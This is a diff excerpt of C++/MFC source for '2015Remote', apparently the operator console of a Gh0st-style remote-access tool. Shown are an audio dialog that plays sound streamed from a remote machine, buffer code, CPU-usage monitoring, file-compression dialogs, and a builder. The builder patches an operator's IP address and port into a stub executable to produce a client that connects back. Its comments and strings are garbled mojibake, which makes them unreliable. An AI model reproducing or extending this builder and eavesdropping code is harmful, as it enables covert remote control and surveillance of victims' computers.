m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
|
||||
CString strString;
|
||||
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
|
||||
SetDlgItemText(IDC_TIP, strString);
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_AUDIO_DATA:
|
||||
{
|
||||
|
||||
m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
|
||||
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //<2F><><EFBFBD>Ų<EFBFBD><C5B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CAudioDlg::OnClose()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
|
||||
|
||||
m_ContextObject->v1 = 0;
|
||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||||
closesocket(m_ContextObject->sClientSocket);
|
||||
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CDialog::OnClose();
|
||||
delete this;
|
||||
}
|
||||
38
server/2015Remote/AudioDlg.h
Normal file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPServer.h"
|
||||
#include "Audio.h"
|
||||
|
||||
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CAudioDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CAudioDlg)
|
||||
|
||||
public:
|
||||
CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CAudioDlg();
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
HICON m_hIcon;
|
||||
CString m_strIPAddress;
|
||||
DWORD m_nTotalRecvBytes;
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
CAudio m_AudioObject;
|
||||
|
||||
static DWORD CAudioDlg::WorkThread(LPVOID lParam);
|
||||
|
||||
void CAudioDlg::OnReceiveComplete(void);
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_AUDIO };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
BOOL m_bSend;
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
};
|
||||
190
server/2015Remote/Buffer.cpp
Normal file
@@ -0,0 +1,190 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Buffer.h"
|
||||
|
||||
#include <math.h>
|
||||
|
||||
|
||||
#define U_PAGE_ALIGNMENT 3
|
||||
#define F_PAGE_ALIGNMENT 3.0
|
||||
CBuffer::CBuffer(void)
|
||||
{
|
||||
m_ulMaxLength = 0;
|
||||
|
||||
m_Ptr = m_Base = NULL;
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
CBuffer::~CBuffer(void)
|
||||
{
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base, 0, MEM_RELEASE);
|
||||
m_Base = NULL;
|
||||
}
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
|
||||
m_Base = m_Ptr = NULL;
|
||||
m_ulMaxLength = 0;
|
||||
}
|
||||
|
||||
|
||||
ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength >GetBufferMaxLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3>ȱ<EFBFBD><C8B1>ڴ<EFBFBD><DAB4>ij<EFBFBD><C4B3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if (ulLength >GetBufferLength()) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD> <20><><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3>Ȼ<EFBFBD><C8BB><EFBFBD>
|
||||
{
|
||||
ulLength = GetBufferLength();
|
||||
}
|
||||
|
||||
if (ulLength)
|
||||
{
|
||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); //<2F><><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0> [Shinexxxx??]
|
||||
|
||||
m_Ptr -= ulLength;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLength());
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (ulLength > GetBufferMaxLength())
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return 0;
|
||||
}
|
||||
if (ulLength > GetBufferLength())
|
||||
{
|
||||
ulLength = GetBufferLength();
|
||||
}
|
||||
|
||||
if (ulLength)
|
||||
{
|
||||
CopyMemory(Buffer,m_Base,ulLength);
|
||||
|
||||
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
|
||||
m_Ptr -= ulLength;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLength());
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferLength())
|
||||
return 0;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (GetBufferMaxLength() <= ulNewMaxLength)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + ulv1;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
|
||||
|
||||
m_Ptr+=ulLength;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < GetBufferMaxLength())
|
||||
return 0;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
|
||||
if (m_Base)
|
||||
{
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + ulv1; //1024
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength; //2048
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_Ptr = m_Base;
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
{
|
||||
if (m_Base == NULL)
|
||||
return 0;
|
||||
|
||||
return (ULONG)m_Ptr - (ULONG)m_Base;
|
||||
}
|
||||
|
||||
|
||||
ULONG CBuffer::GetBufferMaxLength()
|
||||
{
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||
{
|
||||
if (m_Base==NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (ulPos>=GetBufferLength())
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
return m_Base+ulPos;
|
||||
}
|
||||
27
server/2015Remote/Buffer.h
Normal file
@@ -0,0 +1,27 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG CBuffer::GetBufferMaxLength();
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
|
||||
VOID CBuffer::ClearBuffer();
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
|
||||
ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength);
|
||||
VOID CBuffer::ReleaseMember();
|
||||
VOID CBuffer::InitMember();
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
PBYTE m_Ptr;
|
||||
ULONG m_ulMaxLength;
|
||||
CRITICAL_SECTION m_cs;
|
||||
};
|
||||
135
server/2015Remote/BuildDlg.cpp
Normal file
@@ -0,0 +1,135 @@
|
||||
// BuildDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "BuildDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
struct CONNECT_ADDRESS
|
||||
{
|
||||
DWORD dwFlag;
|
||||
char szServerIP[MAX_PATH];
|
||||
int iPort;
|
||||
}g_ConnectAddress={0x1234567,"",0};
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
: CDialog(CBuildDlg::IDD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
, m_strPort(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
CFile File;
|
||||
char szTemp[MAX_PATH];
|
||||
ZeroMemory(szTemp,MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
BYTE * szBuffer=NULL;
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||
|
||||
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
||||
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
|
||||
return;
|
||||
try
|
||||
{
|
||||
//<2F>˴<EFBFBD><CBB4>õ<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
char path[_MAX_PATH], *p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, "TestRun.exe");
|
||||
|
||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(path, 0) == -1)
|
||||
{
|
||||
MessageBox("\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
||||
|
||||
dwFileSize=File.GetLength();
|
||||
szBuffer=new BYTE[dwFileSize];
|
||||
ZeroMemory(szBuffer,dwFileSize);
|
||||
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
File.Read(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||
strcpy(p+1, "ClientDemo.exe");
|
||||
strSeverFile = path;
|
||||
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
File.Write(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
delete[] szBuffer;
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!");
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
int i,j;
|
||||
if (iKeySize == 0||iBufferSize==0)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
for (i = 0; i < iBufferSize; i++)
|
||||
{
|
||||
for (j = 0; j < iKeySize; j ++)
|
||||
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
||||
if (j == iKeySize) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
25
server/2015Remote/BuildDlg.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CBuildDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CBuildDlg)
|
||||
|
||||
public:
|
||||
CBuildDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CBuildDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_BUILD };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_strIP;
|
||||
CString m_strPort;
|
||||
afx_msg void OnBnClickedOk();
|
||||
};
|
||||
53
server/2015Remote/CpuUseage.cpp
Normal file
@@ -0,0 +1,53 @@
|
||||
#include "stdafx.h"
|
||||
#include "CpuUseage.h"
|
||||
|
||||
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
CCpuUsage::CCpuUsage()
|
||||
{
|
||||
m_hQuery = NULL;
|
||||
m_pCounterStruct = NULL;
|
||||
|
||||
}
|
||||
|
||||
CCpuUsage::~CCpuUsage()
|
||||
{
|
||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
delete m_pCounterStruct;
|
||||
}
|
||||
|
||||
|
||||
BOOL CCpuUsage::Init()
|
||||
{
|
||||
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F><EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
|
||||
return FALSE;
|
||||
|
||||
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
|
||||
|
||||
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
|
||||
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
|
||||
if (ERROR_SUCCESS != pdh_status)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
int CCpuUsage::GetUsage()
|
||||
{
|
||||
PDH_FMT_COUNTERVALUE pdhFormattedValue;
|
||||
|
||||
PdhCollectQueryData(m_hQuery);
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
|
||||
PDH_FMT_LONG,
|
||||
NULL,
|
||||
&pdhFormattedValue ))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return pdhFormattedValue.longValue;
|
||||
}
|
||||
34
server/2015Remote/CpuUseage.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include <pdh.h>
|
||||
#include <pdhmsg.h>
|
||||
|
||||
#pragma comment(lib,"PDH.lib")
|
||||
|
||||
#define MAX_RAW_VALUES 20
|
||||
|
||||
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
|
||||
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
|
||||
|
||||
typedef struct _tag_PDHCounterStruct {
|
||||
HCOUNTER hCounter;
|
||||
int nNextIndex;
|
||||
int nOldestIndex;
|
||||
int nRawCount;
|
||||
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
|
||||
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
|
||||
|
||||
|
||||
class CCpuUsage
|
||||
{
|
||||
public:
|
||||
CCpuUsage();
|
||||
virtual ~CCpuUsage();
|
||||
BOOL Init();
|
||||
int GetUsage();
|
||||
|
||||
protected:
|
||||
|
||||
PPDHCOUNTERSTRUCT m_pCounterStruct;
|
||||
HQUERY m_hQuery;
|
||||
};
|
||||
50
server/2015Remote/EditDialog.cpp
Normal file
@@ -0,0 +1,50 @@
|
||||
// EditDialog.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "EditDialog.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CEditDialog <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CEditDialog, CDialog)
|
||||
|
||||
CEditDialog::CEditDialog(CWnd* pParent)
|
||||
: CDialog(CEditDialog::IDD, pParent)
|
||||
, m_EditString(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CEditDialog::~CEditDialog()
|
||||
{
|
||||
}
|
||||
|
||||
void CEditDialog::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_STRING, m_EditString);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CEditDialog, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CEditDialog::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CEditDialog <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
void CEditDialog::OnBnClickedOk()
|
||||
{
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
UpdateData(TRUE);
|
||||
if (m_EditString.IsEmpty()) {
|
||||
MessageBeep(0);
|
||||
return; //<2F><><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD>
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
24
server/2015Remote/EditDialog.h
Normal file
@@ -0,0 +1,24 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CEditDialog <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CEditDialog : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CEditDialog)
|
||||
|
||||
public:
|
||||
CEditDialog(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CEditDialog();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_NEWFOLDER };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_EditString;
|
||||
afx_msg void OnBnClickedOk();
|
||||
};
|
||||
74
server/2015Remote/FileCompress.cpp
Normal file
@@ -0,0 +1,74 @@
|
||||
// FileCompress.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "FileCompress.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CFileCompress, CDialog)
|
||||
|
||||
CFileCompress::CFileCompress(CWnd* pParent, ULONG n)
|
||||
: CDialog(CFileCompress::IDD, pParent)
|
||||
, m_EditRarName(_T(""))
|
||||
{
|
||||
m_ulType = n;
|
||||
}
|
||||
|
||||
CFileCompress::~CFileCompress()
|
||||
{
|
||||
}
|
||||
|
||||
void CFileCompress::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_RARNAME, m_EditRarName);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileCompress, CDialog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CFileCompress <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CFileCompress::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString strTips;
|
||||
switch(m_ulType)
|
||||
{
|
||||
case 1:
|
||||
{
|
||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||
SetDlgItemText(IDC_STATIC, strTips);
|
||||
break;
|
||||
}
|
||||
case 2:
|
||||
{
|
||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
||||
SetDlgItemText(IDC_STATIC, strTips);
|
||||
break;
|
||||
}
|
||||
case 3:
|
||||
{
|
||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||
SetDlgItemText(IDC_STATIC, strTips);
|
||||
break;
|
||||
}
|
||||
case 4:
|
||||
{
|
||||
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̽<EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
||||
SetDlgItemText(IDC_STATIC, strTips);
|
||||
}
|
||||
}
|
||||
|
||||
UpdateData(TRUE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
25
server/2015Remote/FileCompress.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CFileCompress : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileCompress)
|
||||
|
||||
public:
|
||||
